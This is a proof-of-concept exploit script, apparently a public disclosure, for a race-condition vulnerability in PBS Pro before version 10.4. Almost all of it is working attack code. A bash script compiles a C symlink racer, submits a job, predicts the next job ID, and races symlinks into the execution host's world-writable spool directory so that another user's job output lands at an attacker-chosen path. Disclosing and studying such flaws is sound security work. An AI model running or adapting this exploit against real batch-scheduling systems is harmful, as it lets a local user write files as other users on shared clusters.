PBS Pro Race Condition

`#!/bin/bash  
#set -x  
# PBS Pro < 10.4 o+w race condition vulnerability Proof Of Concept by Bartlomiej Balcerek - [email protected]   
# Must be run on submitting host and will create /tmp/pbs_test_by_bartol file on exec host as a next job owner UID  
echo Compiling racer...  
cat << EOF | gcc -x c -o racer.x -  
//repeatedly tries to create arbitrary choosen link  
#include <unistd.h>  
  
int main(int argc, char* argv[])  
{  
if (argc < 3) {printf("%s","Need 2 arguments!");exit(1);}  
while (1) symlink(argv[1],argv[2]);   
};   
EOF  
if [ ! -x racer.x ]; then echo "Cannot compile C code, do you have gcc installed ?" ;exit 1; fi   
echo Submitting job...  
jobname=`echo hostname | qsub -j oe -o out.txt`   
sleep 2  
host=`cat out.txt`  
if [ -z $host ]; then echo "Cannot determine next execution host, is quere working ?"; exit 1;fi  
rm out.txt  
echo Next job will be run on $host  
echo Copying racer to $host...  
scp ./racer.x $host:/tmp  
echo Calculating job id...  
jobid=`echo $jobname | cut -d . -f 1`  
jobid=$(($jobid+1))  
if [ ! $jobid -ge 0 ]; then echo "Cannot determine next job ID!";exit 1;fi  
echo Next job ID will be $jobid  
hostname=`echo $jobname | cut -d . -f 2`  
echo Running racer...submit job as different user, than push Ctrl+C after while.  
ssh $host -- \(/tmp/racer.x /tmp/pbs_test_by_bartol /var/spool/pbs/spool/${jobid}.${hostname}.OU \)  
ssh $host -- killall racer.x  
echo /var/spool/pbs/spool on $host content:  
ssh $host -- ls -latr /var/spool/pbs/spool  
echo Cleaning up...  
ssh $host -- unlink /var/spool/pbs/spool/${jobid}.${hostname}.OU  
ssh $host -- ls -latr /var/spool/pbs/spool  
ssh $host -- rm -v /tmp/racer.x  
rm -v racer.x  
  
  
  
  
`